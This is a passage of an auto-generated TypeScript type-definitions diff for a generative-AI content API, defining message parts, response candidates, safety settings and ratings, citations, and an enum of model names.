part of a multi-part `Content` message. A `Part` consists of data which has an associated datatype. A `Part` can only contain one of the accepted types in `Part.data`. A `Part` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type Part1879F10D = { + /** + * @description Inline text. + * @type string | undefined + */ + text?: string + /** + * @description A predicted `FunctionCall` returned from the model that contains a string representing the `FunctionDeclaration.name` with the arguments and their values. + * @type object | undefined + */ + functionCall?: FunctionCall + /** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object | undefined + */ + toolResponse?: ToolResponse38C31F8D + /** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object | undefined + */ + audioTranscription?: AudioTranscription09D501A0 + /** + * @description Optional. Indicates if the part is thought from the model. + * @type boolean | undefined + */ + thought?: boolean + /** + * @description Media resolution for tokenization. + * @type object | undefined + */ + mediaResolution?: V1MainMediaResolution + /** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object | undefined + */ + executableCode?: ExecutableCodeCe987E95 + /** + * @description Speech metadata for `text` parts. + * @type object | undefined + */ + speechMetadata?: SpeechMetadata + /** + * @description Raw media bytes. Text should not be sent as raw bytes, use the 'text' field. + * @type object | undefined + */ + inlineData?: Blob + /** + * @description Optional. An opaque signature for the thought so it can be reused in subsequent requests. + * @type string | undefined + */ + thoughtSignature?: string + /** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object | undefined + */ + codeExecutionResult?: CodeExecutionResult5730D338 + /** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object | undefined + */ + videoMetadata?: VideoMetadata51E07C1E + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: Part1879F10DMediaProcessingEnumKey + /** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object | undefined + */ + functionResponse?: FunctionResponse1Fedeb53 + /** + * @description URI based data. + * @type object | undefined + */ + fileData?: FileData64903C98 + /** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object | undefined + */ + toolCall?: ToolCall076E4354 + /** + * @description Custom metadata associated with the Part. Agents using genai.Part as content representation may need to keep track of the additional information. For example it can be name of a file/source from which the Part originates or a way to multiplex multiple Part streams. + * @type object | undefined + */ + partMetadata?: { + [key: string]: unknown + } +} + +/** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object + */ +export type ContentD2Dbc783 = { + /** + * @description Ordered `Parts` that constitute a single message. Parts may have different MIME types. + * @type array | undefined + */ + parts?: Part1879F10D[] + /** + * @description Optional. The producer of the content. Must be either 'user' or 'model'. Useful to set for multi-turn conversations, otherwise can be left blank or unset. + * @type string | undefined + */ + role?: string +} + +/** + * @description Attribution for a source that contributed to an answer. + * @type object + */ +export type GroundingAttributionE0C7F6F8 = { + /** + * @description Identifier for the source contributing to this attribution. + * @type object | undefined + */ + sourceId?: AttributionSourceId + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + content?: ContentD2Dbc783 +} + +export const candidateE92B326BFinishReasonEnum = { + FINISH_REASON_UNSPECIFIED: 'FINISH_REASON_UNSPECIFIED', + STOP: 'STOP', + MAX_TOKENS: 'MAX_TOKENS', + SAFETY: 'SAFETY', + RECITATION: 'RECITATION', + LANGUAGE: 'LANGUAGE', + OTHER: 'OTHER', + BLOCKLIST: 'BLOCKLIST', + PROHIBITED_CONTENT: 'PROHIBITED_CONTENT', + SPII: 'SPII', + MALFORMED_FUNCTION_CALL: 'MALFORMED_FUNCTION_CALL', + IMAGE_SAFETY: 'IMAGE_SAFETY', + IMAGE_PROHIBITED_CONTENT: 'IMAGE_PROHIBITED_CONTENT', + IMAGE_OTHER: 'IMAGE_OTHER', + NO_IMAGE: 'NO_IMAGE', + IMAGE_RECITATION: 'IMAGE_RECITATION', + UNEXPECTED_TOOL_CALL: 'UNEXPECTED_TOOL_CALL', + TOO_MANY_TOOL_CALLS: 'TOO_MANY_TOOL_CALLS', + MISSING_THOUGHT_SIGNATURE: 'MISSING_THOUGHT_SIGNATURE', + MALFORMED_RESPONSE: 'MALFORMED_RESPONSE', + ESCALATION: 'ESCALATION', + PUP_LIMITED_DISABLED: 'PUP_LIMITED_DISABLED', + CONTINUATION: 'CONTINUATION', +} as const + +export type CandidateE92B326BFinishReasonEnumKey = + (typeof candidateE92B326BFinishReasonEnum)[keyof typeof candidateE92B326BFinishReasonEnum] + +/** + * @description A response candidate generated from the model. + * @type object + */ +export type CandidateE92B326B = { + /** + * @description Metadata related to url context retrieval tool. + * @type object | undefined + */ + urlContextMetadata?: UrlContextMetadata + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + content?: ContentD2Dbc783 + /** + * @description Output only. Attribution information for sources that contributed to a grounded answer. This field is populated for `GenerateAnswer` calls. + * @type array | undefined + */ + groundingAttributions?: GroundingAttributionE0C7F6F8[] + /** + * @description Output only. Token count for this candidate. + * + * Format: `int32` + * @type integer | undefined + */ + tokenCount?: number + /** + * @description Output only. Index of the candidate in the list of response candidates. + * + * Format: `int32` + * @type integer | undefined + */ + index?: number + /** + * @description Optional. Output only. The reason why the model stopped generating tokens. If empty, the model has not stopped generating tokens. + * @type string | undefined + */ + finishReason?: CandidateE92B326BFinishReasonEnumKey + /** + * @description Metadata returned to client when grounding is enabled. + * @type object | undefined + */ + groundingMetadata?: GroundingMetadata + /** + * @description Logprobs Result + * @type object | undefined + */ + logprobsResult?: LogprobsResult + /** + * @description A collection of source attributions for a piece of content. + * @type object | undefined + */ + citationMetadata?: CitationMetadata + /** + * @description Output only. Average log probability score of the candidate. + * + * Format: `double` + * @type number | undefined + */ + avgLogprobs?: number + /** + * @description Optional. Output only. Details the reason why the model stopped generating tokens. This is populated only when `finish_reason` is set. + * @type string | undefined + */ + finishMessage?: string + /** + * @description List of ratings for the safety of a response candidate. There is at most one rating per category. + * @type array | undefined + */ + safetyRatings?: SafetyRating[] + /** + * @description An optional opaque continuation token returned when `finish_reason` is `CONTINUATION`. Clients can pass this token in a subsequent `GenerateContentRequest` to continue generation. + * @type string | undefined + */ + continuationToken?: string +} + +export const inputFeedbackBlockReasonEnum = { + BLOCK_REASON_UNSPECIFIED: 'BLOCK_REASON_UNSPECIFIED', + SAFETY: 'SAFETY', + OTHER: 'OTHER', +} as const + +export type InputFeedbackBlockReasonEnumKey = + (typeof inputFeedbackBlockReasonEnum)[keyof typeof inputFeedbackBlockReasonEnum] + +/** + * @description Feedback related to the input data used to answer the question, as opposed to the model-generated response to the question. + * @type object + */ +export type InputFeedback = { + /** + * @description Ratings for safety of the input. There is at most one rating per category. + * @type array | undefined + */ + safetyRatings?: SafetyRating[] + /** + * @description Optional. If set, the input was blocked and no candidates are returned. Rephrase the input. + * @type string | undefined + */ + blockReason?: InputFeedbackBlockReasonEnumKey +} + +export const contentFilterReasonEnum = { + BLOCKED_REASON_UNSPECIFIED: 'BLOCKED_REASON_UNSPECIFIED', + SAFETY: 'SAFETY', + OTHER: 'OTHER', +} as const + +export type ContentFilterReasonEnumKey = + (typeof contentFilterReasonEnum)[keyof typeof contentFilterReasonEnum] + +/** + * @description Content filtering metadata associated with processing a single request. ContentFilter contains a reason and an optional supporting string. The reason may be unspecified. + * @type object + */ +export type ContentFilter = { + /** + * @description The reason content was blocked during request processing. + * @type string | undefined + */ + reason?: ContentFilterReasonEnumKey + /** + * @description A string that describes the filtering behavior in more detail. + * @type string | undefined + */ + message?: string +} + +export const safetySetting46E68Be6ThresholdEnum = { + HARM_BLOCK_THRESHOLD_UNSPECIFIED: 'HARM_BLOCK_THRESHOLD_UNSPECIFIED', + BLOCK_LOW_AND_ABOVE: 'BLOCK_LOW_AND_ABOVE', + BLOCK_MEDIUM_AND_ABOVE: 'BLOCK_MEDIUM_AND_ABOVE', + BLOCK_ONLY_HIGH: 'BLOCK_ONLY_HIGH', + BLOCK_NONE: 'BLOCK_NONE', + OFF: 'OFF', +} as const + +export type SafetySetting46E68Be6ThresholdEnumKey = + (typeof safetySetting46E68Be6ThresholdEnum)[keyof typeof safetySetting46E68Be6ThresholdEnum] + +export const safetySetting46E68Be6CategoryEnum = { + HARM_CATEGORY_UNSPECIFIED: 'HARM_CATEGORY_UNSPECIFIED', + HARM_CATEGORY_DEROGATORY: 'HARM_CATEGORY_DEROGATORY', + HARM_CATEGORY_TOXICITY: 'HARM_CATEGORY_TOXICITY', + HARM_CATEGORY_VIOLENCE: 'HARM_CATEGORY_VIOLENCE', + HARM_CATEGORY_SEXUAL: 'HARM_CATEGORY_SEXUAL', + HARM_CATEGORY_MEDICAL: 'HARM_CATEGORY_MEDICAL', + HARM_CATEGORY_DANGEROUS: 'HARM_CATEGORY_DANGEROUS', + HARM_CATEGORY_HARASSMENT: 'HARM_CATEGORY_HARASSMENT', + HARM_CATEGORY_HATE_SPEECH: 'HARM_CATEGORY_HATE_SPEECH', + HARM_CATEGORY_SEXUALLY_EXPLICIT: 'HARM_CATEGORY_SEXUALLY_EXPLICIT', + HARM_CATEGORY_DANGEROUS_CONTENT: 'HARM_CATEGORY_DANGEROUS_CONTENT', + HARM_CATEGORY_CIVIC_INTEGRITY: 'HARM_CATEGORY_CIVIC_INTEGRITY', + HARM_CATEGORY_JAILBREAK: 'HARM_CATEGORY_JAILBREAK', +} as const + +export type SafetySetting46E68Be6CategoryEnumKey = + (typeof safetySetting46E68Be6CategoryEnum)[keyof typeof safetySetting46E68Be6CategoryEnum] + +/** + * @description Safety setting, affecting the safety-blocking behavior. Passing a safety setting for a category changes the allowed probability that content is blocked. + * @type object + */ +export type SafetySetting46E68Be6 = { + /** + * @description Required. Controls the probability threshold at which harm is blocked. + * @type string | undefined + */ + threshold?: SafetySetting46E68Be6ThresholdEnumKey + /** + * @description Required. The category for this setting. + * @type string | undefined + */ + category?: SafetySetting46E68Be6CategoryEnumKey +} + +/** + * @description A citation to a source for a portion of a specific response. + * @type object + */ +export type CitationSource721F71E4 = { + /** + * @description Optional. Start of segment of the response that is attributed to this source. Index indicates the start of the segment, measured in bytes. + * + * Format: `int32` + * @type integer | undefined + */ + startIndex?: number + /** + * @description Optional. End of the attributed segment, exclusive. + * + * Format: `int32` + * @type integer | undefined + */ + endIndex?: number + /** + * @description Optional. URI that is attributed as a source for a portion of the text. + * @type string | undefined + */ + uri?: string + /** + * @description Optional. License for the GitHub project that is attributed as a source for segment. License info is required for code citations. + * @type string | undefined + */ + license?: string +} + +/** + * @description A collection of source attributions for a piece of content. + * @type object + */ +export type CitationMetadata8B521C14 = { + /** + * @description Citations to sources for a specific response. + * @type array | undefined + */ + citationSources?: CitationSource721F71E4[] +} + +export const contentFilterFeb8CeebReasonEnum = { + BLOCKED_REASON_UNSPECIFIED: 'BLOCKED_REASON_UNSPECIFIED', + SAFETY: 'SAFETY', + OTHER: 'OTHER', +} as const + +export type ContentFilterFeb8CeebReasonEnumKey = + (typeof contentFilterFeb8CeebReasonEnum)[keyof typeof contentFilterFeb8CeebReasonEnum] + +/** + * @description Content filtering metadata associated with processing a single request. ContentFilter contains a reason and an optional supporting string. The reason may be unspecified. + * @type object + */ +export type ContentFilterFeb8Ceeb = { + /** + * @description A string that describes the filtering behavior in more detail. + * @type string | undefined + */ + message?: string + /** + * @description The reason content was blocked during request processing. + * @type string | undefined + */ + reason?: ContentFilterFeb8CeebReasonEnumKey +} + +export const safetyRating4695Fab1CategoryEnum = { + HARM_CATEGORY_UNSPECIFIED: 'HARM_CATEGORY_UNSPECIFIED', + HARM_CATEGORY_DEROGATORY: 'HARM_CATEGORY_DEROGATORY', + HARM_CATEGORY_TOXICITY: 'HARM_CATEGORY_TOXICITY', + HARM_CATEGORY_VIOLENCE: 'HARM_CATEGORY_VIOLENCE', + HARM_CATEGORY_SEXUAL: 'HARM_CATEGORY_SEXUAL', + HARM_CATEGORY_MEDICAL: 'HARM_CATEGORY_MEDICAL', + HARM_CATEGORY_DANGEROUS: 'HARM_CATEGORY_DANGEROUS', + HARM_CATEGORY_HARASSMENT: 'HARM_CATEGORY_HARASSMENT', + HARM_CATEGORY_HATE_SPEECH: 'HARM_CATEGORY_HATE_SPEECH', + HARM_CATEGORY_SEXUALLY_EXPLICIT: 'HARM_CATEGORY_SEXUALLY_EXPLICIT', + HARM_CATEGORY_DANGEROUS_CONTENT: 'HARM_CATEGORY_DANGEROUS_CONTENT', + HARM_CATEGORY_CIVIC_INTEGRITY: 'HARM_CATEGORY_CIVIC_INTEGRITY', + HARM_CATEGORY_JAILBREAK: 'HARM_CATEGORY_JAILBREAK', +} as const + +export type SafetyRating4695Fab1CategoryEnumKey = + (typeof safetyRating4695Fab1CategoryEnum)[keyof typeof safetyRating4695Fab1CategoryEnum] + +export const safetyRating4695Fab1ProbabilityEnum = { + HARM_PROBABILITY_UNSPECIFIED: 'HARM_PROBABILITY_UNSPECIFIED', + NEGLIGIBLE: 'NEGLIGIBLE', + LOW: 'LOW', + MEDIUM: 'MEDIUM', + HIGH: 'HIGH', +} as const + +export type SafetyRating4695Fab1ProbabilityEnumKey = + (typeof safetyRating4695Fab1ProbabilityEnum)[keyof typeof safetyRating4695Fab1ProbabilityEnum] + +/** + * @description Safety rating for a piece of content. The safety rating contains the category of harm and the harm probability level in that category for a piece of content. Content is classified for safety across a number of harm categories and the probability of the harm classification is included here. + * @type object + */ +export type SafetyRating4695Fab1 = { + /** + * @description Required. The category for this rating. + * @type string | undefined + */ + category?: SafetyRating4695Fab1CategoryEnumKey + /** + * @description Required. The probability of harm for this content. + * @type string | undefined + */ + probability?: SafetyRating4695Fab1ProbabilityEnumKey + /** + * @description Was this content blocked because of this rating? + * @type boolean | undefined + */ + blocked?: boolean +} + +export const safetySetting5D7A9F80ThresholdEnum = { + HARM_BLOCK_THRESHOLD_UNSPECIFIED: 'HARM_BLOCK_THRESHOLD_UNSPECIFIED', + BLOCK_LOW_AND_ABOVE: 'BLOCK_LOW_AND_ABOVE', + BLOCK_MEDIUM_AND_ABOVE: 'BLOCK_MEDIUM_AND_ABOVE', + BLOCK_ONLY_HIGH: 'BLOCK_ONLY_HIGH', + BLOCK_NONE: 'BLOCK_NONE', + OFF: 'OFF', +} as const + +export type SafetySetting5D7A9F80ThresholdEnumKey = + (typeof safetySetting5D7A9F80ThresholdEnum)[keyof typeof safetySetting5D7A9F80ThresholdEnum] + +export const safetySetting5D7A9F80CategoryEnum = { + HARM_CATEGORY_UNSPECIFIED: 'HARM_CATEGORY_UNSPECIFIED', + HARM_CATEGORY_DEROGATORY: 'HARM_CATEGORY_DEROGATORY', + HARM_CATEGORY_TOXICITY: 'HARM_CATEGORY_TOXICITY', + HARM_CATEGORY_VIOLENCE: 'HARM_CATEGORY_VIOLENCE', + HARM_CATEGORY_SEXUAL: 'HARM_CATEGORY_SEXUAL', + HARM_CATEGORY_MEDICAL: 'HARM_CATEGORY_MEDICAL', + HARM_CATEGORY_DANGEROUS: 'HARM_CATEGORY_DANGEROUS', + HARM_CATEGORY_HARASSMENT: 'HARM_CATEGORY_HARASSMENT', + HARM_CATEGORY_HATE_SPEECH: 'HARM_CATEGORY_HATE_SPEECH', + HARM_CATEGORY_SEXUALLY_EXPLICIT: 'HARM_CATEGORY_SEXUALLY_EXPLICIT', + HARM_CATEGORY_DANGEROUS_CONTENT: 'HARM_CATEGORY_DANGEROUS_CONTENT', + HARM_CATEGORY_CIVIC_INTEGRITY: 'HARM_CATEGORY_CIVIC_INTEGRITY', + HARM_CATEGORY_JAILBREAK: 'HARM_CATEGORY_JAILBREAK', +} as const + +export type SafetySetting5D7A9F80CategoryEnumKey = + (typeof safetySetting5D7A9F80CategoryEnum)[keyof typeof safetySetting5D7A9F80CategoryEnum] + +/** + * @description Safety setting, affecting the safety-blocking behavior. Passing a safety setting for a category changes the allowed probability that content is blocked. + * @type object + */ +export type SafetySetting5D7A9F80 = { + /** + * @description Required. Controls the probability threshold at which harm is blocked. + * @type string | undefined + */ + threshold?: SafetySetting5D7A9F80ThresholdEnumKey + /** + * @description Required. The category for this setting. + * @type string | undefined + */ + category?: SafetySetting5D7A9F80CategoryEnumKey +} + +/** + * @description Safety feedback for an entire request. This field is populated if content in the input and/or response is blocked due to safety settings. SafetyFeedback may not exist for every HarmCategory. Each SafetyFeedback will return the safety settings used by the request as well as the lowest HarmProbability that should be allowed in order to return a result. + * @type object + */ +export type SafetyFeedback = { + /** + * @description Safety rating for a piece of content. The safety rating contains the category of harm and the harm probability level in that category for a piece of content. Content is classified for safety across a number of harm categories and the probability of the harm classification is included here. + * @type object | undefined + */ + rating?: SafetyRating4695Fab1 + /** + * @description Safety setting, affecting the safety-blocking behavior. Passing a safety setting for a category changes the allowed probability that content is blocked. + * @type object | undefined + */ + setting?: SafetySetting5D7A9F80 +} + +/** + * @description Output text returned from a model. + * @type object + */ +export type TextCompletion = { + /** + * @description A collection of source attributions for a piece of content. + * @type object | undefined + */ + citationMetadata?: CitationMetadata8B521C14 + /** + * @description Output only. The generated text returned from the model. + * @type string | undefined + */ + output?: string + /** + * @description Ratings for the safety of a response. There is at most one rating per category. + * @type array | undefined + */ + safetyRatings?: SafetyRating4695Fab1[] +} + +/** + * @description The `Status` type defines a logical error model that is suitable for different programming environments, including REST APIs and RPC APIs. It is used by [gRPC](https://github.com/grpc). Each `Status` message contains three pieces of data: error code, error message, and error details. You can find out more about this error model and how to work with it in the [API Design Guide](https://cloud.google.com/apis/design/errors). + * @type object + */ +export type Status = { + /** + * @description A developer-facing error message, which should be in English. Any user-facing error message should be localized and sent in the google.rpc.Status.details field, or localized by the client. + * @type string | undefined + */ + message?: string + /** + * @description A list of messages that carry the error details. There is a common set of message types for APIs to use. + * @type array | undefined + */ + details?: { + [key: string]: unknown + }[] + /** + * @description The status code, which should be an enum value of google.rpc.Code. + * + * Format: `int32` + * @type integer | undefined + */ + code?: number +} + +/** + * @description A citation to a source for a portion of a specific response. + * @type object + */ +export type CitationSourceD38A370A = { + /** + * @description Optional. Start of segment of the response that is attributed to this source. Index indicates the start of the segment, measured in bytes. + * + * Format: `int32` + * @type integer | undefined + */ + startIndex?: number + /** + * @description Optional. End of the attributed segment, exclusive. + * + * Format: `int32` + * @type integer | undefined + */ + endIndex?: number + /** + * @description Optional. URI that is attributed as a source for a portion of the text. + * @type string | undefined + */ + uri?: string + /** + * @description Optional. License for the GitHub project that is attributed as a source for segment. License info is required for code citations. + * @type string | undefined + */ + license?: string +} + +/** + * @description A collection of source attributions for a piece of content. + * @type object + */ +export type CitationMetadata85B92A3A = { + /** + * @description Citations to sources for a specific response. + * @type array | undefined + */ + citationSources?: CitationSourceD38A370A[] +} + +export const contentFilterBe7A9899ReasonEnum = { + BLOCKED_REASON_UNSPECIFIED: 'BLOCKED_REASON_UNSPECIFIED', + SAFETY: 'SAFETY', + OTHER: 'OTHER', +} as const + +export type ContentFilterBe7A9899ReasonEnumKey = + (typeof contentFilterBe7A9899ReasonEnum)[keyof typeof contentFilterBe7A9899ReasonEnum] + +/** + * @description Content filtering metadata associated with processing a single request. ContentFilter contains a reason and an optional supporting string. The reason may be unspecified. + * @type object + */ +export type ContentFilterBe7A9899 = { + /** + * @description A string that describes the filtering behavior in more detail. + * @type string | undefined + */ + message?: string + /** + * @description The reason content was blocked during request processing. + * @type string | undefined + */ + reason?: ContentFilterBe7A9899ReasonEnumKey +} + +export const safetyRatingA244De6FCategoryEnum = { + HARM_CATEGORY_UNSPECIFIED: 'HARM_CATEGORY_UNSPECIFIED', + HARM_CATEGORY_DEROGATORY: 'HARM_CATEGORY_DEROGATORY', + HARM_CATEGORY_TOXICITY: 'HARM_CATEGORY_TOXICITY', + HARM_CATEGORY_VIOLENCE: 'HARM_CATEGORY_VIOLENCE', + HARM_CATEGORY_SEXUAL: 'HARM_CATEGORY_SEXUAL', + HARM_CATEGORY_MEDICAL: 'HARM_CATEGORY_MEDICAL', + HARM_CATEGORY_DANGEROUS: 'HARM_CATEGORY_DANGEROUS', + HARM_CATEGORY_HARASSMENT: 'HARM_CATEGORY_HARASSMENT', + HARM_CATEGORY_HATE_SPEECH: 'HARM_CATEGORY_HATE_SPEECH', + HARM_CATEGORY_SEXUALLY_EXPLICIT: 'HARM_CATEGORY_SEXUALLY_EXPLICIT', + HARM_CATEGORY_DANGEROUS_CONTENT: 'HARM_CATEGORY_DANGEROUS_CONTENT', + HARM_CATEGORY_CIVIC_INTEGRITY: 'HARM_CATEGORY_CIVIC_INTEGRITY', + HARM_CATEGORY_JAILBREAK: 'HARM_CATEGORY_JAILBREAK', +} as const + +export type SafetyRatingA244De6FCategoryEnumKey = + (typeof safetyRatingA244De6FCategoryEnum)[keyof typeof safetyRatingA244De6FCategoryEnum] + +export const safetyRatingA244De6FProbabilityEnum = { + HARM_PROBABILITY_UNSPECIFIED: 'HARM_PROBABILITY_UNSPECIFIED', + NEGLIGIBLE: 'NEGLIGIBLE', + LOW: 'LOW', + MEDIUM: 'MEDIUM', + HIGH: 'HIGH', +} as const + +export type SafetyRatingA244De6FProbabilityEnumKey = + (typeof safetyRatingA244De6FProbabilityEnum)[keyof typeof safetyRatingA244De6FProbabilityEnum] + +/** + * @description Safety rating for a piece of content. The safety rating contains the category of harm and the harm probability level in that category for a piece of content. Content is classified for safety across a number of harm categories and the probability of the harm classification is included here. + * @type object + */ +export type SafetyRatingA244De6F = { + /** + * @description Required. The category for this rating. + * @type string | undefined + */ + category?: SafetyRatingA244De6FCategoryEnumKey + /** + * @description Required. The probability of harm for this content. + * @type string | undefined + */ + probability?: SafetyRatingA244De6FProbabilityEnumKey + /** + * @description Was this content blocked because of this rating? + * @type boolean | undefined + */ + blocked?: boolean +} + +export const safetySetting5A8B93BeThresholdEnum = { + HARM_BLOCK_THRESHOLD_UNSPECIFIED: 'HARM_BLOCK_THRESHOLD_UNSPECIFIED', + BLOCK_LOW_AND_ABOVE: 'BLOCK_LOW_AND_ABOVE', + BLOCK_MEDIUM_AND_ABOVE: 'BLOCK_MEDIUM_AND_ABOVE', + BLOCK_ONLY_HIGH: 'BLOCK_ONLY_HIGH', + BLOCK_NONE: 'BLOCK_NONE', + OFF: 'OFF', +} as const + +export type SafetySetting5A8B93BeThresholdEnumKey = + (typeof safetySetting5A8B93BeThresholdEnum)[keyof typeof safetySetting5A8B93BeThresholdEnum] + +export const safetySetting5A8B93BeCategoryEnum = { + HARM_CATEGORY_UNSPECIFIED: 'HARM_CATEGORY_UNSPECIFIED', + HARM_CATEGORY_DEROGATORY: 'HARM_CATEGORY_DEROGATORY', + HARM_CATEGORY_TOXICITY: 'HARM_CATEGORY_TOXICITY', + HARM_CATEGORY_VIOLENCE: 'HARM_CATEGORY_VIOLENCE', + HARM_CATEGORY_SEXUAL: 'HARM_CATEGORY_SEXUAL', + HARM_CATEGORY_MEDICAL: 'HARM_CATEGORY_MEDICAL', + HARM_CATEGORY_DANGEROUS: 'HARM_CATEGORY_DANGEROUS', + HARM_CATEGORY_HARASSMENT: 'HARM_CATEGORY_HARASSMENT', + HARM_CATEGORY_HATE_SPEECH: 'HARM_CATEGORY_HATE_SPEECH', + HARM_CATEGORY_SEXUALLY_EXPLICIT: 'HARM_CATEGORY_SEXUALLY_EXPLICIT', + HARM_CATEGORY_DANGEROUS_CONTENT: 'HARM_CATEGORY_DANGEROUS_CONTENT', + HARM_CATEGORY_CIVIC_INTEGRITY: 'HARM_CATEGORY_CIVIC_INTEGRITY', + HARM_CATEGORY_JAILBREAK: 'HARM_CATEGORY_JAILBREAK', +} as const + +export type SafetySetting5A8B93BeCategoryEnumKey = + (typeof safetySetting5A8B93BeCategoryEnum)[keyof typeof safetySetting5A8B93BeCategoryEnum] + +/** + * @description Safety setting, affecting the safety-blocking behavior. Passing a safety setting for a category changes the allowed probability that content is blocked. + * @type object + */ +export type SafetySetting5A8B93Be = { + /** + * @description Required. Controls the probability threshold at which harm is blocked. + * @type string | undefined + */ + threshold?: SafetySetting5A8B93BeThresholdEnumKey + /** + * @description Required. The category for this setting. + * @type string | undefined + */ + category?: SafetySetting5A8B93BeCategoryEnumKey +} + +/** + * @description Safety feedback for an entire request. This field is populated if content in the input and/or response is blocked due to safety settings. SafetyFeedback may not exist for every HarmCategory. Each SafetyFeedback will return the safety settings used by the request as well as the lowest HarmProbability that should be allowed in order to return a result. + * @type object + */ +export type SafetyFeedback430202B9 = { + /** + * @description Safety rating for a piece of content. The safety rating contains the category of harm and the harm probability level in that category for a piece of content. Content is classified for safety across a number of harm categories and the probability of the harm classification is included here. + * @type object | undefined + */ + rating?: SafetyRatingA244De6F + /** + * @description Safety setting, affecting the safety-blocking behavior. Passing a safety setting for a category changes the allowed probability that content is blocked. + * @type object | undefined + */ + setting?: SafetySetting5A8B93Be +} + +/** + * @description Output text returned from a model. + * @type object + */ +export type TextCompletionBdb7C419 = { + /** + * @description A collection of source attributions for a piece of content. + * @type object | undefined + */ + citationMetadata?: CitationMetadata85B92A3A + /** + * @description Output only. The generated text returned from the model. + * @type string | undefined + */ + output?: string + /** + * @description Ratings for the safety of a response. There is at most one rating per category. + * @type array | undefined + */ + safetyRatings?: SafetyRatingA244De6F[] +} + +export type GeminiPostV1BetaDynamicDynamicidGeneratecontentPath = { + dynamicId: string +} + +/** + * @description Response from the model supporting multiple candidate responses. Safety ratings and content filtering are reported for both prompt in `GenerateContentResponse.prompt_feedback` and for each candidate in `finish_reason` and in `safety_ratings`. The API: - Returns either all requested candidates or none of them - Returns no candidates at all only if there was something wrong with the prompt (check `prompt_feedback`) - Reports feedback on each candidate in `finish_reason` and `safety_ratings`. + * @type object + */ +export type GeminiPostV1BetaDynamicDynamicidGeneratecontentStatus200 = { + /** + * @description Output only. response_id is used to identify each response. + * @type string | undefined + */ + responseId?: string + /** + * @description Candidate responses from the model. + * @type array | undefined + */ + candidates?: Candidate[] + /** + * @description The status of the underlying model. This is used to indicate the stage of the underlying model and the retirement time if applicable. + * @type object | undefined + */ + modelStatus?: ModelStatus + /** + * @description Output only. The model version used to generate the response. + * @type string | undefined + */ + modelVersion?: string + /** + * @description A set of the feedback metadata the prompt specified in `GenerateContentRequest.content`. + * @type object | undefined + */ + promptFeedback?: PromptFeedback + /** + * @description Metadata on the generation request's token usage. + * @type object | undefined + */ + usageMetadata?: UsageMetadata +} + +export const geminiPostV1BetaDynamicDynamicidGeneratecontentRequestServiceTierEnum = + { + unspecified: 'unspecified', + standard: 'standard', + flex: 'flex', + priority: 'priority', + } as const + +export type GeminiPostV1BetaDynamicDynamicidGeneratecontentRequestServiceTierEnumKey = + (typeof geminiPostV1BetaDynamicDynamicidGeneratecontentRequestServiceTierEnum)[keyof typeof geminiPostV1BetaDynamicDynamicidGeneratecontentRequestServiceTierEnum] + +export const geminiPostV1BetaDynamicDynamicidGeneratecontentRequestModelEnum = { + 'antigravity-preview-05-2026': 'antigravity-preview-05-2026', + 'antigravity-preview-09-2026': 'antigravity-preview-09-2026', + 'antigravity-preview-latest': 'antigravity-preview-latest', + aqa: 'aqa', + 'deep-research-max-preview-04-2026': 'deep-research-max-preview-04-2026', + 'deep-research-preview-04-2026': 'deep-research-preview-04-2026', + 'deep-research-pro-preview-12-2025': 'deep-research-pro-preview-12-2025', + 'gemini-2.5-computer-use-preview-10-2025': + 'gemini-2.5-computer-use-preview-10-2025', + 'gemini-2.5-flash': 'gemini-2.5-flash', + 'gemini-2.5-flash-image': 'gemini-2.5-flash-image', + 'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite', + 'gemini-2.5-flash-native-audio-latest': + 'gemini-2.5-flash-native-audio-latest', + 'gemini-2.5-flash-native-audio-preview-09-2025': + 'gemini-2.5-flash-native-audio-preview-09-2025', + 'gemini-2.5-flash-native-audio-preview-12-2025': + 'gemini-2.5-flash-native-audio-preview-12-2025', + 'gemini-2.5-flash-preview-tts': 'gemini-2.5-flash-preview-tts', + 'gemini-2.5-pro': 'gemini-2.5-pro', + 'gemini-2.5-pro-preview-tts': 'gemini-2.5-pro-preview-tts', + 'gemini-3.1-flash-image': 'gemini-3.1-flash-image', + 'gemini-3.1-flash-image-preview': 'gemini-3.1-flash-image-preview', + 'gemini-3.1-flash-lite': 'gemini-3.1-flash-lite', + 'gemini-3.1-flash-lite-image': 'gemini-3.1-flash-lite-image', + 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite-preview', + 'gemini-3.1-flash-live-preview': 'gemini-3.1-flash-live-preview', + 'gemini-3.1-flash-tts-preview': 'gemini-3.1-flash-tts-preview', + 'gemini-3.1-pro-preview': 'gemini-3.1-pro-preview', + 'gemini-3.1-pro-preview-customtools': 'gemini-3.1-pro-preview-customtools', + 'gemini-3.5-flash': 'gemini-3.5-flash', + 'gemini-3.5-flash-lite': 